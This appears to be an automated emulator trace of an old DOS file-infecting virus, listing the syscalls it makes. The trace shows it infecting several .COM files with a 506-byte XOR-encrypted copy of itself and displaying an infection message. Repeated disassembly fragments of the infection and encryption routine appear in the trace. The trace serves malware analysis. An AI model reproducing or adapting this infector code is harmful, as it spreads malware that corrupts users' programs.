Sample viewer

vx.netlux.org/Virus.DOS.VCC.MD.506

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:59:16.165925039Z 26 PC: 12a73 | Set disk transfer address
2018-12-17T21:59:16.168118067Z 37 PC: 12a81 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T21:59:16.169271504Z 37 PC: 12a85 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T21:59:16.170952302Z 78 PC: 12ad1 | Find first file
2018-12-17T21:59:16.17746991Z 61 PC: 12bce | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:59:16.184054702Z 63 PC: 12bdd | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:59:16.190130673Z 66 PC: 12bec | Move file pointer
2018-12-17T21:59:16.193705856Z 66 PC: 12bfb | Move file pointer
2018-12-17T21:59:16.195209768Z 64 PC: 12c07 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:59:16.197997408Z 66 PC: 12c13 | Move file pointer
2018-12-17T21:59:16.201018485Z 44 PC: 12c17 | Get time 0x12c17: mov byte ptr [bp + 0x1fa], dl
0x12c1b: call 0x12c31
0x12c1e: mov ah, 0x40
0x12c20: mov cx, 0x1fa
0x12c23: lea dx, word ptr [bp + 6]
0x12c27: int 0x21
0x12c29: call 0x12c31
0x12c2c: mov ah, 0x3e
0x12c2e: int 0x21
0x12c30: ret
0x12c31: lea si, word ptr [bp + 0x20]
0x12c35: mov cx, 0x1bb
0x12c38: xor byte ptr [si], 0
0x12c3b: inc si
0x12c3c: dec cx
0x12c3d: jne 0x12c38
0x12c3f: ret
0x12c40: add word ptr [bx], di
0x12c42: aas
0x12c43: aas
2018-12-17T21:59:16.203285912Z 64 PC: 12c29 | Write file or device (Write 506 bytes on handle 5)
2018-12-17T21:59:16.216871327Z 62 PC: 12c30 | Close file
2018-12-17T21:59:16.225876607Z 79 PC: 12ad1 | Find next file
2018-12-17T21:59:16.228438041Z 61 PC: 12bce | Open file (Filename = 'PRINT.COM')
2018-12-17T21:59:16.234747808Z 63 PC: 12bdd | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:59:16.241633261Z 66 PC: 12bec | Move file pointer
2018-12-17T21:59:16.243904123Z 66 PC: 12bfb | Move file pointer
2018-12-17T21:59:16.246328311Z 64 PC: 12c07 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:59:16.249802995Z 66 PC: 12c13 | Move file pointer
2018-12-17T21:59:16.252168327Z 44 PC: 12c17 | Get time 0x12c17: mov byte ptr [bp + 0x1fa], dl
0x12c1b: call 0x12c31
0x12c1e: mov ah, 0x40
0x12c20: mov cx, 0x1fa
0x12c23: lea dx, word ptr [bp + 6]
0x12c27: int 0x21
0x12c29: call 0x12c31
0x12c2c: mov ah, 0x3e
0x12c2e: int 0x21
0x12c30: ret
0x12c31: lea si, word ptr [bp + 0x20]
0x12c35: mov cx, 0x1bb
0x12c38: xor byte ptr [si], 0x3a
0x12c3b: inc si
0x12c3c: dec cx
0x12c3d: jne 0x12c38
0x12c3f: ret
0x12c40: add word ptr [bx], di
0x12c42: aas
0x12c43: aas
2018-12-17T21:59:16.254828014Z 64 PC: 12c29 | Write file or device (Write 506 bytes on handle 5)
2018-12-17T21:59:16.263129596Z 62 PC: 12c30 | Close file
2018-12-17T21:59:16.273051978Z 79 PC: 12ad1 | Find next file
2018-12-17T21:59:16.276983971Z 61 PC: 12bce | Open file (Filename = 'HELLO.COM')
2018-12-17T21:59:16.283645839Z 63 PC: 12bdd | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:59:16.290394915Z 66 PC: 12bec | Move file pointer
2018-12-17T21:59:16.292281133Z 66 PC: 12bfb | Move file pointer
2018-12-17T21:59:16.294428473Z 64 PC: 12c07 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:59:16.298412741Z 66 PC: 12c13 | Move file pointer
2018-12-17T21:59:16.300252208Z 44 PC: 12c17 | Get time 0x12c17: mov byte ptr [bp + 0x1fa], dl
0x12c1b: call 0x12c31
0x12c1e: mov ah, 0x40
0x12c20: mov cx, 0x1fa
0x12c23: lea dx, word ptr [bp + 6]
0x12c27: int 0x21
0x12c29: call 0x12c31
0x12c2c: mov ah, 0x3e
0x12c2e: int 0x21
0x12c30: ret
0x12c31: lea si, word ptr [bp + 0x20]
0x12c35: mov cx, 0x1bb
0x12c38: xor byte ptr [si], 0x3f
0x12c3b: inc si
0x12c3c: dec cx
0x12c3d: jne 0x12c38
0x12c3f: ret
0x12c40: add word ptr [bx], di
0x12c42: aas
0x12c43: aas
2018-12-17T21:59:16.302977488Z 64 PC: 12c29 | Write file or device (Write 506 bytes on handle 5)
2018-12-17T21:59:16.311288697Z 62 PC: 12c30 | Close file
2018-12-17T21:59:16.320033085Z 79 PC: 12ad1 | Find next file
2018-12-17T21:59:16.322914389Z 61 PC: 12bce | Open file (Filename = 'PHANG.COM')
2018-12-17T21:59:16.330643462Z 63 PC: 12bdd | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:59:16.337095716Z 66 PC: 12bec | Move file pointer
2018-12-17T21:59:16.338444515Z 66 PC: 12bfb | Move file pointer
2018-12-17T21:59:16.340251654Z 64 PC: 12c07 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:59:16.342958305Z 66 PC: 12c13 | Move file pointer
2018-12-17T21:59:16.344313725Z 44 PC: 12c17 | Get time 0x12c17: mov byte ptr [bp + 0x1fa], dl
0x12c1b: call 0x12c31
0x12c1e: mov ah, 0x40
0x12c20: mov cx, 0x1fa
0x12c23: lea dx, word ptr [bp + 6]
0x12c27: int 0x21
0x12c29: call 0x12c31
0x12c2c: mov ah, 0x3e
0x12c2e: int 0x21
0x12c30: ret
0x12c31: lea si, word ptr [bp + 0x20]
0x12c35: mov cx, 0x1bb
0x12c38: xor byte ptr [si], 0x3f
0x12c3b: inc si
0x12c3c: dec cx
0x12c3d: jne 0x12c38
0x12c3f: ret
0x12c40: add word ptr [bx], di
0x12c42: aas
0x12c43: aas
2018-12-17T21:59:16.346566966Z 64 PC: 12c29 | Write file or device (Write 506 bytes on handle 5)
2018-12-17T21:59:16.355345523Z 62 PC: 12c30 | Close file
2018-12-17T21:59:16.363355328Z 79 PC: 12ad1 | Find next file
2018-12-17T21:59:16.365848008Z 61 PC: 12bce | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T21:59:16.372653533Z 63 PC: 12bdd | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:59:16.378676359Z 66 PC: 12bec | Move file pointer
2018-12-17T21:59:16.380665657Z 66 PC: 12bfb | Move file pointer
2018-12-17T21:59:16.382524991Z 64 PC: 12c07 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:59:16.385058326Z 66 PC: 12c13 | Move file pointer
2018-12-17T21:59:16.386290356Z 44 PC: 12c17 | Get time 0x12c17: mov byte ptr [bp + 0x1fa], dl
0x12c1b: call 0x12c31
0x12c1e: mov ah, 0x40
0x12c20: mov cx, 0x1fa
0x12c23: lea dx, word ptr [bp + 6]
0x12c27: int 0x21
0x12c29: call 0x12c31
0x12c2c: mov ah, 0x3e
0x12c2e: int 0x21
0x12c30: ret
0x12c31: lea si, word ptr [bp + 0x20]
0x12c35: mov cx, 0x1bb
0x12c38: xor byte ptr [si], 0x45
0x12c3b: inc si
0x12c3c: dec cx
0x12c3d: jne 0x12c38
0x12c3f: ret
0x12c40: add word ptr [bx], di
0x12c42: aas
0x12c43: aas
2018-12-17T21:59:16.3889194Z 64 PC: 12c29 | Write file or device (Write 506 bytes on handle 5)
2018-12-17T21:59:16.396779527Z 62 PC: 12c30 | Close file
2018-12-17T21:59:16.405125237Z 79 PC: 12ad1 | Find next file
2018-12-17T21:59:16.408977753Z 61 PC: 12bce | Open file (Filename = 'MANDEL.COM')
2018-12-17T21:59:16.415394142Z 63 PC: 12bdd | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:59:16.421515406Z 66 PC: 12bec | Move file pointer
2018-12-17T21:59:16.423757263Z 66 PC: 12bfb | Move file pointer
2018-12-17T21:59:16.425510258Z 64 PC: 12c07 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:59:16.428669742Z 66 PC: 12c13 | Move file pointer
2018-12-17T21:59:16.430834226Z 44 PC: 12c17 | Get time 0x12c17: mov byte ptr [bp + 0x1fa], dl
0x12c1b: call 0x12c31
0x12c1e: mov ah, 0x40
0x12c20: mov cx, 0x1fa
0x12c23: lea dx, word ptr [bp + 6]
0x12c27: int 0x21
0x12c29: call 0x12c31
0x12c2c: mov ah, 0x3e
0x12c2e: int 0x21
0x12c30: ret
0x12c31: lea si, word ptr [bp + 0x20]
0x12c35: mov cx, 0x1bb
0x12c38: xor byte ptr [si], 0x4a
0x12c3b: inc si
0x12c3c: dec cx
0x12c3d: jne 0x12c38
0x12c3f: ret
0x12c40: add word ptr [bx], di
0x12c42: aas
0x12c43: aas
2018-12-17T21:59:16.433183684Z 64 PC: 12c29 | Write file or device (Write 506 bytes on handle 5)
2018-12-17T21:59:16.449947231Z 62 PC: 12c30 | Close file
2018-12-17T21:59:16.459224825Z 79 PC: 12ad1 | Find next file
2018-12-17T21:59:16.461969005Z 61 PC: 12bce | Open file (Filename = 'PAH.COM')
2018-12-17T21:59:16.468524806Z 63 PC: 12bdd | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:59:16.475388405Z 66 PC: 12bec | Move file pointer
2018-12-17T21:59:16.476699971Z 66 PC: 12bfb | Move file pointer
2018-12-17T21:59:16.477922566Z 64 PC: 12c07 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:59:16.480823775Z 66 PC: 12c13 | Move file pointer
2018-12-17T21:59:16.482083531Z 44 PC: 12c17 | Get time 0x12c17: mov byte ptr [bp + 0x1fa], dl
0x12c1b: call 0x12c31
0x12c1e: mov ah, 0x40
0x12c20: mov cx, 0x1fa
0x12c23: lea dx, word ptr [bp + 6]
0x12c27: int 0x21
0x12c29: call 0x12c31
0x12c2c: mov ah, 0x3e
0x12c2e: int 0x21
0x12c30: ret
0x12c31: lea si, word ptr [bp + 0x20]
0x12c35: mov cx, 0x1bb
0x12c38: xor byte ptr [si], 0x4a
0x12c3b: inc si
0x12c3c: dec cx
0x12c3d: jne 0x12c38
0x12c3f: ret
0x12c40: add word ptr [bx], di
0x12c42: aas
0x12c43: aas
2018-12-17T21:59:16.484190801Z 64 PC: 12c29 | Write file or device (Write 506 bytes on handle 5)
2018-12-17T21:59:16.49314669Z 62 PC: 12c30 | Close file
2018-12-17T21:59:16.501011116Z 79 PC: 12ad1 | Find next file
2018-12-17T21:59:16.503333385Z 59 PC: 12ae2 | Change current directory
2018-12-17T21:59:16.508254033Z 26 PC: 12aeb | Set disk transfer address
2018-12-17T21:59:16.509191775Z 9 PC: 12afd | Display string (String= 'You computher is now infected with: MEGA-DESTRUCTION The Conjurers.... ')
2018-12-17T21:59:16.525639308Z 61 PC: 12bce | Open file (Filename = '')
2018-12-17T21:59:16.528322561Z 1 PC: 12ad1 | Character input